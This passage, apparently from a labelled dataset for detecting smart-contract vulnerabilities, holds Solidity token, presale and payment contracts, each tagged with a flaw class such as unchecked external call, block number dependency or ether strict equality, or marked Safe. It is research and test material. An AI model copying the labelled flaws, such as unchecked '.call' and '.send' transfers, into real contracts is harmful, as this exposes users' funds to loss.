p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 3132.sol,"pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address _owner) external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); } interface WhiteList { function isPaidUntil (address addr) external view returns (uint); } contract PresalePool { using SafeMath for uint; uint8 public contractStage = 1; address public owner; uint maxContractBalance; uint contributionCap; uint public feePct; address public receiverAddress; uint constant public contributionMin = 100000000000000000; uint constant public maxGasPrice = 50000000000; WhiteList constant public whitelistContract = WhiteList(0xf6E386FA4794B58350e7B4Cb32B6f86Fb0F357d4); bool whitelistIsActive = true; uint public nextCapTime; uint public nextContributionCap; uint public addressChangeBlock; uint public finalBalance; uint[] public ethRefundAmount; address public activeToken; struct Contributor { uint ethRefund; uint balance; uint cap; mapping (address => uint) tokensClaimed; } mapping (address => Contributor) whitelist; struct TokenAllocation { ERC20 token; uint[] pct; uint balanceRemaining; } mapping (address => TokenAllocation) distributionMap; modifier onlyOwner () { require (msg.sender == owner); _; } bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } event ContributorBalanceChanged (address contributor, uint totalBalance); event ReceiverAddressSet ( address _addr); event PoolSubmitted (address receiver, uint amount); event WithdrawalsOpen (address tokenAddr); event TokensWithdrawn (address receiver, address token, uint amount); event EthRefundReceived (address sender, uint amount); event EthRefunded (address receiver, uint amount); event ERC223Received (address token, uint value); function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 ** 20) / denominator; } function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct) / (10 ** 20); } function PresalePool (address receiverAddr, uint contractCap, uint cap, uint fee) public { require (fee < 100); require (contractCap >= cap); owner = msg.sender; receiverAddress = receiverAddr; maxContractBalance = contractCap; contributionCap = cap; feePct = _toPct(fee,100); } function () payable public { if (contractStage == 1) { _ethDeposit(); } else _ethRefund(); } function _ethDeposit () internal { assert (contractStage == 1); require (!whitelistIsActive || whitelistContract.isPaidUntil(msg.sender) > now); require (tx.gasprice <= maxGasPrice); require (this.balance <= maxContractBalance); var c = whitelist[msg.sender]; uint newBalance = c.balance.add(msg.value); require (newBalance >= contributionMin); if (nextCapTime > 0 && nextCapTime < now) { contributionCap = nextContributionCap; nextCapTime = 0; } if (c.cap > 0) require (newBalance <= c.cap); else require (newBalance <= contributionCap); c.balance = newBalance; ContributorBalanceChanged(msg.sender, newBalance); } function _ethRefund () internal { assert (contractStage == 2); require (msg.sender == owner || msg.sender == receiverAddress); require (msg.value >= contributionMin); ethRefundAmount.push(msg.value); EthRefundReceived(msg.sender, msg.value); } function withdraw (address tokenAddr) public { var c = whitelist[msg.sender]; require (c.balance > 0); if (contractStage == 1) { uint amountToTransfer = c.balance; c.balance = 0; msg.sender.transfer(amountToTransfer); ContributorBalanceChanged(msg.sender, 0); } else { _withdraw(msg.sender,tokenAddr); } } function withdrawFor (address contributor, address tokenAddr) public onlyOwner { require (contractStage == 2); require (whitelist[contributor].balance > 0); _withdraw(contributor,tokenAddr); } function _withdraw (address receiver, address tokenAddr) internal { assert (contractStage == 2); var c = whitelist[receiver]; if (tokenAddr == 0x00) { tokenAddr = activeToken; } var d = distributionMap[tokenAddr]; require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] ); if (ethRefundAmount.length > c.ethRefund) { uint pct = _toPct(c.balance,finalBalance); uint ethAmount = 0; for (uint i=c.ethRefund; i 0) { receiver.transfer(ethAmount); EthRefunded(receiver,ethAmount); } } if (d.pct.length > c.tokensClaimed[tokenAddr]) { uint tokenAmount = 0; for (i=c.tokensClaimed[tokenAddr]; i 0) { require(d.token.transfer(receiver,tokenAmount)); d.balanceRemaining = d.balanceRemaining.sub(tokenAmount); TokensWithdrawn(receiver,tokenAddr,tokenAmount); } } } function modifyIndividualCap (address addr, uint cap) public onlyOwner { require (contractStage == 1); require (cap <= maxContractBalance); var c = whitelist[addr]; require (cap >= c.balance); c.cap = cap; } function modifyCap (uint cap) public onlyOwner { require (contractStage == 1); require (contributionCap <= cap && maxContractBalance >= cap); contributionCap = cap; nextCapTime = 0; } function modifyNextCap (uint time, uint cap) public onlyOwner { require (contractStage == 1); require (contributionCap <= cap && maxContractBalance >= cap); require (time > now); nextCapTime = time; nextContributionCap = cap; } function modifyMaxContractBalance (uint amount) public onlyOwner { require (contractStage == 1); require (amount >= contributionMin); require (amount >= this.balance); maxContractBalance = amount; if (amount < contributionCap) contributionCap = amount; } function toggleWhitelist (bool active) public onlyOwner { whitelistIsActive = active; } function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) { if (contractStage == 1) { remaining = maxContractBalance.sub(this.balance); } else { remaining = 0; } return (maxContractBalance,this.balance,remaining); } function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) { var c = whitelist[addr]; if (contractStage == 2) return (c.balance,0,0); if (whitelistIsActive && whitelistContract.isPaidUntil(addr) < now) return (c.balance,0,0); if (c.cap > 0) cap = c.cap; else cap = contributionCap; if (cap.sub(c.balance) > maxContractBalance.sub(this.balance)) return (c.balance, cap, maxContractBalance.sub(this.balance)); return (c.balance, cap, cap.sub(c.balance)); } function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) { var c = whitelist[addr]; var d = distributionMap[tokenAddr]; for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i])); } return tokenAmount; } function setReceiverAddress (address addr) public onlyOwner { require (contractStage == 1); receiverAddress = addr; addressChangeBlock = block.number; ReceiverAddressSet(addr); } function submitPool (uint amountInWei) public onlyOwner noReentrancy { require (contractStage == 1); require (receiverAddress != 0x00); require (block.number >= addressChangeBlock.add(6000)); if (amountInWei == 0) amountInWei = this.balance; require (contributionMin <= amountInWei && amountInWei <= this.balance); finalBalance = this.balance; require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))()); if (this.balance > 0) ethRefundAmount.push(this.balance); contractStage = 2; PoolSubmitted(receiverAddress, amountInWei); } function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy { require (contractStage == 2); if (notDefault) { require (activeToken != 0x00); } else { activeToken = tokenAddr; } var d = distributionMap[tokenAddr]; if (d.pct.length==0) d.token = ERC20(tokenAddr); uint amount = d.token.balanceOf(this).sub(d.balanceRemaining); require (amount > 0); if (feePct > 0) { require (d.token.transfer(owner,_applyPct(amount,feePct))); } amount = d.token.balanceOf(this).sub(d.balanceRemaining); d.balanceRemaining = d.token.balanceOf(this); d.pct.push(_toPct(amount,finalBalance)); } function tokenFallback (address from, uint value, bytes data) public { ERC223Received (from, value); } }",./Dataset/block number dependency (BN),0,0 0x02d1987F90F7A31570E6111C5d506B2e48ee30A2_Whitelist.sol,"contract Whitelist { mapping(address => bool) public whitelist; mapping(address => bool) operators; address authority; constructor(address _authority) { authority = _authority; operators[_authority] = true; } function add(address _address) public { require(operators[msg.sender]); whitelist[_address] = true; } function remove(address _address) public { require(operators[msg.sender]); whitelist[_address] = false; } function addOperator(address _address) public { require(authority == msg.sender); operators[_address] = true; } function removeOperator(address _address) public { require(authority == msg.sender); operators[_address] = false; } }",Safe,8,8 23081.sol,"pragma solidity ^0.4.19; contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /** * Interface for the standard token. * Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ interface EIP20Token { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); function approve(address spender, uint256 value) external returns (bool success); function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // The owner of this contract should be an externally owned account contract HumanProtocolInvestment is Ownable { // Address of the target contract address public investment_address = 0x55704E8Cb15AF1054e21a7a59Fb0CBDa6Bd044B7; // Major partner address address public major_partner_address = 0x5a89D9f1C382CaAa66Ee045aeb8510F1205bC8bf; // Minor partner address address public minor_partner_address = 0xC787C3f6F75D7195361b64318CE019f90507f806; // Third partner address address public third_partner_address = 0xDa2cEa3DbaC30835D162Df11D21Ac6Cbf355aC9F; // Additional gas used for transfers. uint public gas = 1000; // Payments to this contract require a bit of gas. 100k should be enough. function() payable public { execute_transfer(msg.value); } // Transfer some funds to the target investment address. function execute_transfer(uint transfer_amount) internal { // Major fee is 30% * (1/11) * value = 3 * value / (10 * 11) uint major_fee = transfer_amount * 3 / (10 * 11); // Minor fee is 20% * (1/11) * value = 2 * value / (10 * 11) uint minor_fee = transfer_amount * 2 / (10 * 11); // Third fee is 50% * (1/11) * value = 5 * value / (10 * 11) uint third_fee = transfer_amount * 5 / (10 * 11); require(major_partner_address.call.gas(gas).value(major_fee)()); require(minor_partner_address.call.gas(gas).value(minor_fee)()); require(third_partner_address.call.gas(gas).value(third_fee)()); // Send the rest uint investment_amount = transfer_amount - major_fee - minor_fee - third_fee; require(investment_address.call.gas(gas).value(investment_amount)()); } // Sets the amount of additional gas allowed to addresses called // @dev This allows transfers to multisigs that use more than 2300 gas in their fallback function. // function set_transfer_gas(uint transfer_gas) public onlyOwner { gas = transfer_gas; } // We can use this function to move unwanted tokens in the contract function approve_unwanted_tokens(EIP20Token token, address dest, uint value) public onlyOwner { token.approve(dest, value); } // This contract is designed to have no balance. // However, we include this function to avoid stuck value by some unknown mishap. function emergency_withdraw() public onlyOwner { require(msg.sender.call.gas(gas).value(this.balance)()); } }",./Dataset/unchecked external call (UC),7,7 0x04666cdf77621dbee1b21988739dd3c12620a719_RegDocuments.sol,"pragma solidity ^0.4.23; /********************************************************************************* ********************************************************************************* * * Name of the project: Senddox registration service * Version: 0.6 * Author: Ethernity.live * ********************************************************************************* ********************************************************************************/ /* New ERC20 contract interface */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // Interface for Storage contract GlobalStorageMultiId { uint256 public regPrice; function registerUser(bytes32 _id) payable returns(bool); function changeAddress(bytes32 _id , address _newAddress) returns(bool); function setUint(bytes32 _id , bytes32 _key , uint _data , bool _overwrite) returns(bool); function getUint(bytes32 _id , bytes32 _key) constant returns(uint); event Error(string _string); event RegisteredUser(address _address , bytes32 _id); event ChangedAdd(bytes32 _id , address _old , address _new); } contract UpgDocs { function confirm(bytes32 _storKey) returns(bool); event DocsUpgraded(address _oldAddress,address _newAddress); } // The Token contract RegDocuments { string public version; address public admin; address public owner; uint public price; bool registered; address storageAddress; bytes32 public storKey; uint public adminPerc; GlobalStorageMultiId public Storage; event RegDocument(address indexed from); event DocsUpgraded(address _oldAddress,address _newAddress); event ReceivedPayment(address indexed _address,uint256 _value); // Modifiers modifier onlyAdmin() { if ( msg.sender != admin && msg.sender != owner ) revert(); _; } modifier onlyOwner() { if ( msg.sender != owner ) revert(); _; } // Constructor constructor() { price = 0.01 ether; admin = msg.sender; owner = 0xc238ff50c09787e7b920f711850dd945a40d3232; version = ""v0.6""; // storageAddress = 0xabc66b985ce66ba651f199555dd4236dbcd14daa; // Kovan // storageAddress = 0xb94cde73d07e0fcd7768cd0c7a8fb2afb403327a; // Rinkeby storageAddress = 0x8f49722c61a9398a1c5f5ce6e5feeef852831a64; // Mainnet adminPerc = 2; Storage = GlobalStorageMultiId(storageAddress); } // GlobalStorage functions // ---------------------------------------- function getStoragePrice() onlyAdmin constant returns(uint) { return Storage.regPrice(); } function registerDocs(bytes32 _storKey) onlyAdmin payable { // Register key with IntelligentStorage require(!registered); // It only does it one time uint _value = Storage.regPrice(); storKey = _storKey; Storage.registerUser.value(_value)(_storKey); registered = true; } function upgradeDocs(address _newAddress) onlyAdmin { // This is to update this contract to a new address and transfer ownership of Storage to the new address UpgDocs newDocs = UpgDocs(_newAddress); require(newDocs.confirm(storKey)); Storage.changeAddress(storKey,_newAddress); _newAddress.send(this.balance); } function confirm(bytes32 _storKey) returns(bool) { // This is called from older version, to register key for IntelligentStorage require(!registered); storKey = _storKey; registered = true; emit DocsUpgraded(msg.sender,this); return true; } // Admin functions // ------------------------------------- function changeOwner(address _newOwnerAddress) onlyOwner returns(bool){ owner = _newOwnerAddress; return true; } function changeAdmin(address _newAdmin) onlyOwner returns(bool) { admin = _newAdmin; return true; } function sendToken(address _token,address _to , uint _value) onlyOwner returns(bool) { // To send ERC20 tokens sent accidentally ERC20Basic Token = ERC20Basic(_token); require(Token.transfer(_to, _value)); return true; } function changePerc(uint _newperc) onlyAdmin public { adminPerc = _newperc; } function changePrice(uint _newPrice) onlyAdmin public { price = _newPrice; } // Main functions // ----------------------------------------------------- function() payable public { // Invoked by users to pay for the service uint a = getUint(msg.sender); setUint(msg.sender, a + msg.value); admin.send(msg.value * adminPerc / 100); owner.send(this.balance); emit ReceivedPayment(msg.sender, msg.value); } function sendCredits(address[] _addresses, uint _amountEach) onlyAdmin public returns (bool success) { // Invoked by admin to give balance to users for (uint8 i=0; i<_addresses.length; i++){ uint a = getUint(_addresses[i]); setUint(_addresses[i], a + _amountEach); emit ReceivedPayment(_addresses[i],_amountEach); } } function getBalance(address _address) constant returns(uint) { return getUint(_address); } function regDoc(address _address, string _hash) onlyAdmin returns (bool success) { uint a = getUint(_address); require(a >= price); setUint(_address, a - price); emit RegDocument(_address); return true; } function getPrice() constant returns(uint) { return price; } // Internal functions function setUint(address _address, uint _value) internal { Storage.setUint(storKey, bytes32(_address), _value, true); } function getUint(address _address) internal constant returns(uint) { return Storage.getUint(storKey, bytes32(_address)); } }",Safe,8,8 34336.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 100000000000000; // Give the creator all initial tokens (1000000 for example) totalSupply = 100000000000000; // Update total supply (1000000 for example) name = ""CRYPT0COIN""; // Set decimals = 8; // Amount of decimals for display purposes symbol = ""CRP""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 290.sol,"pragma solidity ^0.4.16; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; function owned() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的 */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币(token)的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数, 18是默认, 尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); /* 构造函数 */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0, 用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* 传递tokens */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* 从其他账户转移资产 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* 授权第三方从发送者账户转移代币,然后通过transferFrom()函数来执行第三方的转移操作 */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* 为其他地址设置津贴, 并通知 发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的transferFrom) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * 销毁代币 */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * 从其他账户销毁代币 */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract ROSCtoken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; /* 冻结账户 */ mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* 构造函数 */ function ROSCtoken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* 转账, 比父类加入了账户冻结 */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",./Dataset/ether strict equality (SE),3,3 0x035fd6b0d6d5917f2929ed1f50a1fdf3829f3e36_DistributeByTransferFrom.sol,"pragma solidity 0.4.24; // File: contracts/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address 